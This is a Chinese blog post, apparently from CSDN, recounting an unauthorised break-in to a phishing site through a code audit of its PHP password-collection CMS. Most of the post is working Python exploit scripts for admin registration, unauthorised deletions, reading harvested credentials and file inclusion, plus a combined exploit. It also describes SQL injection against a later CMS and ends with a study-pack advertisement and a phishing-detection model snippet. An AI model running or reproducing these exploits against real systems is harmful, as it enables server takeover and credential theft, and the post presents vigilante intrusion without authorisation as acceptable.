干货技术,记载钓鱼网站的多次渗透

记一次对钓鱼网站的多次渗透

0x01 首先我们对目标进行目录扫描,发现admin.php 进入发现是后台界面,右击查看网页源码

我们复制title到百度搜索一下

第一个是官网 我把源码下载,看了一遍,发现是一个叫 默笙密码管理系统V2.0 这套源码和钓鱼网站一致

0x02 开始审计 这套cms是基于thinkphp的,所以我们直接跳到控制器开始审计 我们看到代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以我们看下有没有逻辑绕过漏洞,或者是隐藏的接口 0x03 首先审计Admin的控制器

打开看了一下除了Login 其它的控制器均有登录认证,所以我们先审计Login

我们看到有5个方法

我们先打开前2个方法 方法 login 是判断数据库中是否存在管理员,如果不存在则去reg注册管理员

方法 reg 是判断数据库中是否存在管理员,如果不存在则进行注册,所以login 和reg方法是没有洞了

方法 loging 是登陆的,我们上文说了是代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以loging也没洞

方法 regist 他首先判断了提交方式是不是AJAX 我们只要在协议头添加X-Requested-With:XMLHttpRequest就好了 然后我们看到两个参数 $data['username'] = I('post.p','','md5');$data['password'] = I('post.c','','md5'); 然后它竟然直接进行进行添加管理员了,不过这个管理员不是超级管理员,但是可以登录后台就已经足够了,下面有个漏洞是提权

漏洞一 任意管理员添加 exp python def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" 漏洞二 将普通管理员提权到超级管理员 我们看到验证管理员的逻辑是这样的,它先从session取出管理员的id然后进行查询 判断字段 is_all 是否等于1,如果是1则不是管理员,反之 我们只需要社工管理员让他删掉我们的账户,我们就可以跳过这个认证,成为超级管理员

漏洞三 越权删除分类 直接将post过来的id进行删除

exp python def classdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞四 越权删除超级管理员 直接将post过来的id进行删除,只能删除超级管理员

exp python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞五 越权删除钓鱼密码 直接将post过来的id进行删除,不能删除含有普通管理员id的

exp python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞五 越权查看钓鱼密码 直接将get过来的id进行查询

exp python def GetPass(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result 漏洞六 GetShell 文件包含 前提是能在目标服务器上传.html后缀的文件

exp python def uptemple(filename): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" return result 0x04 利用以上漏洞我们已经控制了目标服务器 我们看到这个钓鱼网站有很多的模板,还注明了钓鱼网站的作者,我们把它钓到的密码进行删除 完整 exp python import hashlib import random import requests import re domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" def GetPass(id): global cookie global domain headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result def DelPass(id): global cookie global domain headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookie } flag= requests.post("http://"+domain+"/admin.php/Pass/passdel",data="id="+str(id),headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability" else: return "Failure To Exploit A Vulnerability" def RegAdmin(): global domain username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" def classdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def userdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def uptemple(filename): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" if __name__=="__main__": print(RegAdmin())添加管理员 print(GetPass(1))获取密码 print(DelPass(1))删除密码 print(classdel(1))删除分类 print(userdel(1))删除管理员 print(uptemple("../test")) 文件包含

再次出击 0x01 多天后管理员发觉了它的鱼站被搞了,换了一套cms 扫描目录,发现history目录,打开发现后台

0x02 单引号输入报错,是注入

不过sqlmap识别出来的是时间注入,我们利用它这个报错将时间注入升级到布尔注入

0x03 解出md5,登陆后台

学习计划安排

我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

①网络安全学习路线

②上百份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥HW护网行动经验总结

⑦100个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年CTF夺旗赛题解析

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
神经网络可以用于检测钓鱼网站。具体来说,可以使用深度学习技术来训练一个神经网络模型,该模型可以根据网站的特征来预测该网站是否是钓鱼网站。这些特征可以包括网站的URL、域名、SSL证书、页面内容等等。 以下是一个简单的神经网络模型的例子,用于检测钓鱼网站: ```python import tensorflow as tf from tensorflow import keras # 定义神经网络模型 model = keras.Sequential([ keras.layers.Dense(64, activation='relu', input_shape=(10,)), keras.layers.Dense(64, activation='relu'), keras.layers.Dense(1, activation='sigmoid') ]) # 编译模型 model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy']) # 训练模型 model.fit(x_train, y_train, epochs=10, batch_size=32) # 评估模型 test_loss, test_acc = model.evaluate(x_test, y_test) print('Test accuracy:', test_acc) ``` 在这个例子中,我们使用了一个包含两个隐藏层的神经网络模型,每个隐藏层包含64个神经元。输入层包含10个特征,输出层包含一个神经元,用于预测网站是否是钓鱼网站。我们使用了sigmoid激活函数来输出一个0到1之间的概率值,表示该网站钓鱼网站的可能性。 我们使用二元交叉熵作为损失函数,并使用Adam优化器来训练模型。在训练过程中,我们使用了批量大小为32的小批量随机梯度下降来更新模型参数。最后,我们评估了模型在测试集上的准确率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值